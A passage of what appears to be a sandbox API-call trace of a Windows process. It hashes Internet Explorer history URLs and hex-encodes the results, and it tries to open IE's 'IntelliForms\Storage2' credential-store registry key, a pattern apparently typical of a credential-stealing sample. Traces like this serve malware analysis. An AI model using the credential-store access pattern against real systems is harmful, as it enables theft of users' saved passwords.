pdwDataLen=0x54dfaa8) returned 1 [0097.093] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0097.093] lstrlenW (lpString="") returned 0 [0097.093] lstrlenW (lpString="07") returned 2 [0097.093] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7183190 [0097.093] lstrcpyW (in: lpString1=0x7183190, lpString2="" | out: lpString1="") returned="" [0097.093] lstrcatW (in: lpString1="", lpString2="07" | out: lpString1="07") returned="07" [0097.093] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E2") returned 2 [0097.093] lstrlenW (lpString="07") returned 2 [0097.093] lstrlenW (lpString="E2") returned 2 [0097.093] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c9020 [0097.093] lstrcpyW (in: lpString1=0x28c9020, lpString2="07" | out: lpString1="07") returned="07" [0097.093] lstrcatW (in: lpString1="07", lpString2="E2" | out: lpString1="07E2") returned="07E2" [0097.093] LocalFree (hMem=0x7183190) returned 0x0 [0097.093] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7D") returned 2 [0097.093] lstrlenW (lpString="07E2") returned 4 [0097.093] lstrlenW (lpString="7D") returned 2 [0097.093] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8e40 [0097.093] lstrcpyW (in: lpString1=0x28c8e40, lpString2="07E2" | out: lpString1="07E2") returned="07E2" [0097.093] lstrcatW (in: lpString1="07E2", lpString2="7D" | out: lpString1="07E27D") returned="07E27D" [0097.093] LocalFree (hMem=0x28c9020) returned 0x0 [0097.093] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.093] lstrlenW (lpString="07E27D") returned 6 [0097.093] lstrlenW (lpString="54") returned 2 [0097.094] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c9020 [0097.094] lstrcpyW (in: lpString1=0x28c9020, lpString2="07E27D" | out: lpString1="07E27D") returned="07E27D" [0097.094] lstrcatW (in: lpString1="07E27D", lpString2="54" | out: lpString1="07E27D54") returned="07E27D54" [0097.094] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.094] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2E") returned 2 [0097.094] lstrlenW (lpString="07E27D54") returned 8 [0097.094] lstrlenW (lpString="2E") returned 2 [0097.094] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8e40 [0097.094] lstrcpyW (in: lpString1=0x28c8e40, lpString2="07E27D54" | out: lpString1="07E27D54") returned="07E27D54" [0097.094] lstrcatW (in: lpString1="07E27D54", lpString2="2E" | out: lpString1="07E27D542E") returned="07E27D542E" [0097.094] LocalFree (hMem=0x28c9020) returned 0x0 [0097.094] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="17") returned 2 [0097.094] lstrlenW (lpString="07E27D542E") returned 10 [0097.094] lstrlenW (lpString="17") returned 2 [0097.094] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.094] lstrcpyW (in: lpString1=0x71cfb40, lpString2="07E27D542E" | out: lpString1="07E27D542E") returned="07E27D542E" [0097.094] lstrcatW (in: lpString1="07E27D542E", lpString2="17" | out: lpString1="07E27D542E17") returned="07E27D542E17" [0097.094] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.094] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B4") returned 2 [0097.094] lstrlenW (lpString="07E27D542E17") returned 12 [0097.094] lstrlenW (lpString="B4") returned 2 [0097.094] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.094] lstrcpyW (in: lpString1=0x71cf460, lpString2="07E27D542E17" | out: lpString1="07E27D542E17") returned="07E27D542E17" [0097.094] lstrcatW (in: lpString1="07E27D542E17", lpString2="B4" | out: lpString1="07E27D542E17B4") returned="07E27D542E17B4" [0097.094] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.094] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5A") returned 2 [0097.094] lstrlenW (lpString="07E27D542E17B4") returned 14 [0097.094] lstrlenW (lpString="5A") returned 2 [0097.094] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.094] lstrcpyW (in: lpString1=0x71cfb40, lpString2="07E27D542E17B4" | out: lpString1="07E27D542E17B4") returned="07E27D542E17B4" [0097.094] lstrcatW (in: lpString1="07E27D542E17B4", lpString2="5A" | out: lpString1="07E27D542E17B45A") returned="07E27D542E17B45A" [0097.094] LocalFree (hMem=0x71cf460) returned 0x0 [0097.094] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="81") returned 2 [0097.094] lstrlenW (lpString="07E27D542E17B45A") returned 16 [0097.094] lstrlenW (lpString="81") returned 2 [0097.094] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.094] lstrcpyW (in: lpString1=0x71cf460, lpString2="07E27D542E17B45A" | out: lpString1="07E27D542E17B45A") returned="07E27D542E17B45A" [0097.095] lstrcatW (in: lpString1="07E27D542E17B45A", lpString2="81" | out: lpString1="07E27D542E17B45A81") returned="07E27D542E17B45A81" [0097.095] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.095] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="19") returned 2 [0097.095] lstrlenW (lpString="07E27D542E17B45A81") returned 18 [0097.095] lstrlenW (lpString="19") returned 2 [0097.095] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.095] lstrcpyW (in: lpString1=0x72912f0, lpString2="07E27D542E17B45A81" | out: lpString1="07E27D542E17B45A81") returned="07E27D542E17B45A81" [0097.095] lstrcatW (in: lpString1="07E27D542E17B45A81", lpString2="19" | out: lpString1="07E27D542E17B45A8119") returned="07E27D542E17B45A8119" [0097.095] LocalFree (hMem=0x71cf460) returned 0x0 [0097.095] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="48") returned 2 [0097.095] lstrlenW (lpString="07E27D542E17B45A8119") returned 20 [0097.095] lstrlenW (lpString="48") returned 2 [0097.095] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.095] lstrcpyW (in: lpString1=0x7290b70, lpString2="07E27D542E17B45A8119" | out: lpString1="07E27D542E17B45A8119") returned="07E27D542E17B45A8119" [0097.095] lstrcatW (in: lpString1="07E27D542E17B45A8119", lpString2="48" | out: lpString1="07E27D542E17B45A811948") returned="07E27D542E17B45A811948" [0097.095] LocalFree (hMem=0x72912f0) returned 0x0 [0097.095] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4F") returned 2 [0097.095] lstrlenW (lpString="07E27D542E17B45A811948") returned 22 [0097.095] lstrlenW (lpString="4F") returned 2 [0097.095] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.095] lstrcpyW (in: lpString1=0x72912f0, lpString2="07E27D542E17B45A811948" | out: lpString1="07E27D542E17B45A811948") returned="07E27D542E17B45A811948" [0097.095] lstrcatW (in: lpString1="07E27D542E17B45A811948", lpString2="4F" | out: lpString1="07E27D542E17B45A8119484F") returned="07E27D542E17B45A8119484F" [0097.095] LocalFree (hMem=0x7290b70) returned 0x0 [0097.095] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="02") returned 2 [0097.095] lstrlenW (lpString="07E27D542E17B45A8119484F") returned 24 [0097.095] lstrlenW (lpString="02") returned 2 [0097.095] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.095] lstrcpyW (in: lpString1=0x7290b70, lpString2="07E27D542E17B45A8119484F" | out: lpString1="07E27D542E17B45A8119484F") returned="07E27D542E17B45A8119484F" [0097.095] lstrcatW (in: lpString1="07E27D542E17B45A8119484F", lpString2="02" | out: lpString1="07E27D542E17B45A8119484F02") returned="07E27D542E17B45A8119484F02" [0097.095] LocalFree (hMem=0x72912f0) returned 0x0 [0097.095] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0097.095] lstrlenW (lpString="07E27D542E17B45A8119484F02") returned 26 [0097.095] lstrlenW (lpString="96") returned 2 [0097.095] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.095] lstrcpyW (in: lpString1=0x2815670, lpString2="07E27D542E17B45A8119484F02" | out: lpString1="07E27D542E17B45A8119484F02") returned="07E27D542E17B45A8119484F02" [0097.095] lstrcatW (in: lpString1="07E27D542E17B45A8119484F02", lpString2="96" | out: lpString1="07E27D542E17B45A8119484F0296") returned="07E27D542E17B45A8119484F0296" [0097.095] LocalFree (hMem=0x7290b70) returned 0x0 [0097.095] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9A") returned 2 [0097.096] lstrlenW (lpString="07E27D542E17B45A8119484F0296") returned 28 [0097.096] lstrlenW (lpString="9A") returned 2 [0097.096] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.096] lstrcpyW (in: lpString1=0x2815a80, lpString2="07E27D542E17B45A8119484F0296" | out: lpString1="07E27D542E17B45A8119484F0296") returned="07E27D542E17B45A8119484F0296" [0097.096] lstrcatW (in: lpString1="07E27D542E17B45A8119484F0296", lpString2="9A" | out: lpString1="07E27D542E17B45A8119484F02969A") returned="07E27D542E17B45A8119484F02969A" [0097.096] LocalFree (hMem=0x2815670) returned 0x0 [0097.096] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DD") returned 2 [0097.096] lstrlenW (lpString="07E27D542E17B45A8119484F02969A") returned 30 [0097.096] lstrlenW (lpString="DD") returned 2 [0097.096] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.096] lstrcpyW (in: lpString1=0x2815670, lpString2="07E27D542E17B45A8119484F02969A" | out: lpString1="07E27D542E17B45A8119484F02969A") returned="07E27D542E17B45A8119484F02969A" [0097.096] lstrcatW (in: lpString1="07E27D542E17B45A8119484F02969A", lpString2="DD" | out: lpString1="07E27D542E17B45A8119484F02969ADD") returned="07E27D542E17B45A8119484F02969ADD" [0097.096] LocalFree (hMem=0x2815a80) returned 0x0 [0097.096] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="31") returned 2 [0097.096] lstrlenW (lpString="07E27D542E17B45A8119484F02969ADD") returned 32 [0097.096] lstrlenW (lpString="31") returned 2 [0097.096] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.096] lstrcpyW (in: lpString1=0x2815a80, lpString2="07E27D542E17B45A8119484F02969ADD" | out: lpString1="07E27D542E17B45A8119484F02969ADD") returned="07E27D542E17B45A8119484F02969ADD" [0097.096] lstrcatW (in: lpString1="07E27D542E17B45A8119484F02969ADD", lpString2="31" | out: lpString1="07E27D542E17B45A8119484F02969ADD31") returned="07E27D542E17B45A8119484F02969ADD31" [0097.096] LocalFree (hMem=0x2815670) returned 0x0 [0097.096] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B7") returned 2 [0097.096] lstrlenW (lpString="07E27D542E17B45A8119484F02969ADD31") returned 34 [0097.096] lstrlenW (lpString="B7") returned 2 [0097.096] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.096] lstrcpyW (in: lpString1=0x28e7670, lpString2="07E27D542E17B45A8119484F02969ADD31" | out: lpString1="07E27D542E17B45A8119484F02969ADD31") returned="07E27D542E17B45A8119484F02969ADD31" [0097.096] lstrcatW (in: lpString1="07E27D542E17B45A8119484F02969ADD31", lpString2="B7" | out: lpString1="07E27D542E17B45A8119484F02969ADD31B7") returned="07E27D542E17B45A8119484F02969ADD31B7" [0097.096] LocalFree (hMem=0x2815a80) returned 0x0 [0097.096] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="53") returned 2 [0097.096] lstrlenW (lpString="07E27D542E17B45A8119484F02969ADD31B7") returned 36 [0097.096] lstrlenW (lpString="53") returned 2 [0097.096] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.096] lstrcpyW (in: lpString1=0x28e7910, lpString2="07E27D542E17B45A8119484F02969ADD31B7" | out: lpString1="07E27D542E17B45A8119484F02969ADD31B7") returned="07E27D542E17B45A8119484F02969ADD31B7" [0097.096] lstrcatW (in: lpString1="07E27D542E17B45A8119484F02969ADD31B7", lpString2="53" | out: lpString1="07E27D542E17B45A8119484F02969ADD31B753") returned="07E27D542E17B45A8119484F02969ADD31B753" [0097.096] LocalFree (hMem=0x28e7670) returned 0x0 [0097.096] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="48") returned 2 [0097.096] lstrlenW (lpString="07E27D542E17B45A8119484F02969ADD31B753") returned 38 [0097.096] lstrlenW (lpString="48") returned 2 [0097.096] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.097] lstrcpyW (in: lpString1=0x28e7670, lpString2="07E27D542E17B45A8119484F02969ADD31B753" | out: lpString1="07E27D542E17B45A8119484F02969ADD31B753") returned="07E27D542E17B45A8119484F02969ADD31B753" [0097.097] lstrcatW (in: lpString1="07E27D542E17B45A8119484F02969ADD31B753", lpString2="48" | out: lpString1="07E27D542E17B45A8119484F02969ADD31B75348") returned="07E27D542E17B45A8119484F02969ADD31B75348" [0097.097] LocalFree (hMem=0x28e7910) returned 0x0 [0097.097] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D0") returned 2 [0097.097] lstrlenW (lpString="07E27D542E17B45A8119484F02969ADD31B75348") returned 40 [0097.097] lstrlenW (lpString="D0") returned 2 [0097.097] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.097] lstrcpyW (in: lpString1=0x28e7910, lpString2="07E27D542E17B45A8119484F02969ADD31B75348" | out: lpString1="07E27D542E17B45A8119484F02969ADD31B75348") returned="07E27D542E17B45A8119484F02969ADD31B75348" [0097.097] lstrcatW (in: lpString1="07E27D542E17B45A8119484F02969ADD31B75348", lpString2="D0" | out: lpString1="07E27D542E17B45A8119484F02969ADD31B75348D0") returned="07E27D542E17B45A8119484F02969ADD31B75348D0" [0097.097] LocalFree (hMem=0x28e7670) returned 0x0 [0097.097] CryptDestroyHash (hHash=0x4470cb0) returned 1 [0097.097] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.097] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.097] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.097] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.097] LocalFree (hMem=0x28e7910) returned 0x0 [0097.097] CoTaskMemFree (pv=0x4470a10) [0097.097] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.097] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/lNPXPBJbh2z.docx", lpSrch="?") returned 0x0 [0097.097] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.098] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.098] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/lNPXPBJbh2z.docx") returned 52 [0097.098] CryptHashData (hHash=0x4469e70, pbData=0x447be70, dwDataLen=0x6a, dwFlags=0x0) returned 1 [0097.098] CryptGetHashParam (in: hHash=0x4469e70, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.098] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A9") returned 2 [0097.098] lstrlenW (lpString="") returned 0 [0097.098] lstrlenW (lpString="A9") returned 2 [0097.098] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7183190 [0097.098] lstrcpyW (in: lpString1=0x7183190, lpString2="" | out: lpString1="") returned="" [0097.098] lstrcatW (in: lpString1="", lpString2="A9" | out: lpString1="A9") returned="A9" [0097.098] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="83") returned 2 [0097.098] lstrlenW (lpString="A9") returned 2 [0097.098] lstrlenW (lpString="83") returned 2 [0097.098] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8e40 [0097.098] lstrcpyW (in: lpString1=0x28c8e40, lpString2="A9" | out: lpString1="A9") returned="A9" [0097.098] lstrcatW (in: lpString1="A9", lpString2="83" | out: lpString1="A983") returned="A983" [0097.098] LocalFree (hMem=0x7183190) returned 0x0 [0097.098] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A1") returned 2 [0097.098] lstrlenW (lpString="A983") returned 4 [0097.098] lstrlenW (lpString="A1") returned 2 [0097.098] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c9020 [0097.098] lstrcpyW (in: lpString1=0x28c9020, lpString2="A983" | out: lpString1="A983") returned="A983" [0097.098] lstrcatW (in: lpString1="A983", lpString2="A1" | out: lpString1="A983A1") returned="A983A1" [0097.098] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.098] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F5") returned 2 [0097.099] lstrlenW (lpString="A983A1") returned 6 [0097.099] lstrlenW (lpString="F5") returned 2 [0097.099] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8e40 [0097.099] lstrcpyW (in: lpString1=0x28c8e40, lpString2="A983A1" | out: lpString1="A983A1") returned="A983A1" [0097.099] lstrcatW (in: lpString1="A983A1", lpString2="F5" | out: lpString1="A983A1F5") returned="A983A1F5" [0097.099] LocalFree (hMem=0x28c9020) returned 0x0 [0097.099] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0097.099] lstrlenW (lpString="A983A1F5") returned 8 [0097.099] lstrlenW (lpString="40") returned 2 [0097.099] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c9020 [0097.099] lstrcpyW (in: lpString1=0x28c9020, lpString2="A983A1F5" | out: lpString1="A983A1F5") returned="A983A1F5" [0097.099] lstrcatW (in: lpString1="A983A1F5", lpString2="40" | out: lpString1="A983A1F540") returned="A983A1F540" [0097.099] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.099] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0097.099] lstrlenW (lpString="A983A1F540") returned 10 [0097.099] lstrlenW (lpString="B6") returned 2 [0097.099] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.099] lstrcpyW (in: lpString1=0x71cf460, lpString2="A983A1F540" | out: lpString1="A983A1F540") returned="A983A1F540" [0097.099] lstrcatW (in: lpString1="A983A1F540", lpString2="B6" | out: lpString1="A983A1F540B6") returned="A983A1F540B6" [0097.099] LocalFree (hMem=0x28c9020) returned 0x0 [0097.099] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="59") returned 2 [0097.099] lstrlenW (lpString="A983A1F540B6") returned 12 [0097.099] lstrlenW (lpString="59") returned 2 [0097.099] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.099] lstrcpyW (in: lpString1=0x71cfb40, lpString2="A983A1F540B6" | out: lpString1="A983A1F540B6") returned="A983A1F540B6" [0097.099] lstrcatW (in: lpString1="A983A1F540B6", lpString2="59" | out: lpString1="A983A1F540B659") returned="A983A1F540B659" [0097.099] LocalFree (hMem=0x71cf460) returned 0x0 [0097.099] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="82") returned 2 [0097.099] lstrlenW (lpString="A983A1F540B659") returned 14 [0097.099] lstrlenW (lpString="82") returned 2 [0097.099] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.099] lstrcpyW (in: lpString1=0x71cf460, lpString2="A983A1F540B659" | out: lpString1="A983A1F540B659") returned="A983A1F540B659" [0097.099] lstrcatW (in: lpString1="A983A1F540B659", lpString2="82" | out: lpString1="A983A1F540B65982") returned="A983A1F540B65982" [0097.099] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.099] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0097.099] lstrlenW (lpString="A983A1F540B65982") returned 16 [0097.099] lstrlenW (lpString="FE") returned 2 [0097.099] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.099] lstrcpyW (in: lpString1=0x71cfb40, lpString2="A983A1F540B65982" | out: lpString1="A983A1F540B65982") returned="A983A1F540B65982" [0097.100] lstrcatW (in: lpString1="A983A1F540B65982", lpString2="FE" | out: lpString1="A983A1F540B65982FE") returned="A983A1F540B65982FE" [0097.100] LocalFree (hMem=0x71cf460) returned 0x0 [0097.100] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0097.100] lstrlenW (lpString="A983A1F540B65982FE") returned 18 [0097.100] lstrlenW (lpString="34") returned 2 [0097.100] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.100] lstrcpyW (in: lpString1=0x7290b70, lpString2="A983A1F540B65982FE" | out: lpString1="A983A1F540B65982FE") returned="A983A1F540B65982FE" [0097.100] lstrcatW (in: lpString1="A983A1F540B65982FE", lpString2="34" | out: lpString1="A983A1F540B65982FE34") returned="A983A1F540B65982FE34" [0097.100] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.100] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="87") returned 2 [0097.100] lstrlenW (lpString="A983A1F540B65982FE34") returned 20 [0097.100] lstrlenW (lpString="87") returned 2 [0097.100] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.100] lstrcpyW (in: lpString1=0x72912f0, lpString2="A983A1F540B65982FE34" | out: lpString1="A983A1F540B65982FE34") returned="A983A1F540B65982FE34" [0097.100] lstrcatW (in: lpString1="A983A1F540B65982FE34", lpString2="87" | out: lpString1="A983A1F540B65982FE3487") returned="A983A1F540B65982FE3487" [0097.100] LocalFree (hMem=0x7290b70) returned 0x0 [0097.100] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5D") returned 2 [0097.100] lstrlenW (lpString="A983A1F540B65982FE3487") returned 22 [0097.100] lstrlenW (lpString="5D") returned 2 [0097.100] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.100] lstrcpyW (in: lpString1=0x7290b70, lpString2="A983A1F540B65982FE3487" | out: lpString1="A983A1F540B65982FE3487") returned="A983A1F540B65982FE3487" [0097.100] lstrcatW (in: lpString1="A983A1F540B65982FE3487", lpString2="5D" | out: lpString1="A983A1F540B65982FE34875D") returned="A983A1F540B65982FE34875D" [0097.100] LocalFree (hMem=0x72912f0) returned 0x0 [0097.100] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="71") returned 2 [0097.100] lstrlenW (lpString="A983A1F540B65982FE34875D") returned 24 [0097.100] lstrlenW (lpString="71") returned 2 [0097.100] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.100] lstrcpyW (in: lpString1=0x72912f0, lpString2="A983A1F540B65982FE34875D" | out: lpString1="A983A1F540B65982FE34875D") returned="A983A1F540B65982FE34875D" [0097.100] lstrcatW (in: lpString1="A983A1F540B65982FE34875D", lpString2="71" | out: lpString1="A983A1F540B65982FE34875D71") returned="A983A1F540B65982FE34875D71" [0097.100] LocalFree (hMem=0x7290b70) returned 0x0 [0097.100] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="10") returned 2 [0097.100] lstrlenW (lpString="A983A1F540B65982FE34875D71") returned 26 [0097.100] lstrlenW (lpString="10") returned 2 [0097.100] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.100] lstrcpyW (in: lpString1=0x2815a80, lpString2="A983A1F540B65982FE34875D71" | out: lpString1="A983A1F540B65982FE34875D71") returned="A983A1F540B65982FE34875D71" [0097.100] lstrcatW (in: lpString1="A983A1F540B65982FE34875D71", lpString2="10" | out: lpString1="A983A1F540B65982FE34875D7110") returned="A983A1F540B65982FE34875D7110" [0097.100] LocalFree (hMem=0x72912f0) returned 0x0 [0097.100] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D7") returned 2 [0097.100] lstrlenW (lpString="A983A1F540B65982FE34875D7110") returned 28 [0097.101] lstrlenW (lpString="D7") returned 2 [0097.101] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.101] lstrcpyW (in: lpString1=0x2815670, lpString2="A983A1F540B65982FE34875D7110" | out: lpString1="A983A1F540B65982FE34875D7110") returned="A983A1F540B65982FE34875D7110" [0097.101] lstrcatW (in: lpString1="A983A1F540B65982FE34875D7110", lpString2="D7" | out: lpString1="A983A1F540B65982FE34875D7110D7") returned="A983A1F540B65982FE34875D7110D7" [0097.101] LocalFree (hMem=0x2815a80) returned 0x0 [0097.101] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0097.101] lstrlenW (lpString="A983A1F540B65982FE34875D7110D7") returned 30 [0097.101] lstrlenW (lpString="DE") returned 2 [0097.101] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.101] lstrcpyW (in: lpString1=0x2815a80, lpString2="A983A1F540B65982FE34875D7110D7" | out: lpString1="A983A1F540B65982FE34875D7110D7") returned="A983A1F540B65982FE34875D7110D7" [0097.101] lstrcatW (in: lpString1="A983A1F540B65982FE34875D7110D7", lpString2="DE" | out: lpString1="A983A1F540B65982FE34875D7110D7DE") returned="A983A1F540B65982FE34875D7110D7DE" [0097.101] LocalFree (hMem=0x2815670) returned 0x0 [0097.101] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="20") returned 2 [0097.101] lstrlenW (lpString="A983A1F540B65982FE34875D7110D7DE") returned 32 [0097.101] lstrlenW (lpString="20") returned 2 [0097.101] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.101] lstrcpyW (in: lpString1=0x2815670, lpString2="A983A1F540B65982FE34875D7110D7DE" | out: lpString1="A983A1F540B65982FE34875D7110D7DE") returned="A983A1F540B65982FE34875D7110D7DE" [0097.101] lstrcatW (in: lpString1="A983A1F540B65982FE34875D7110D7DE", lpString2="20" | out: 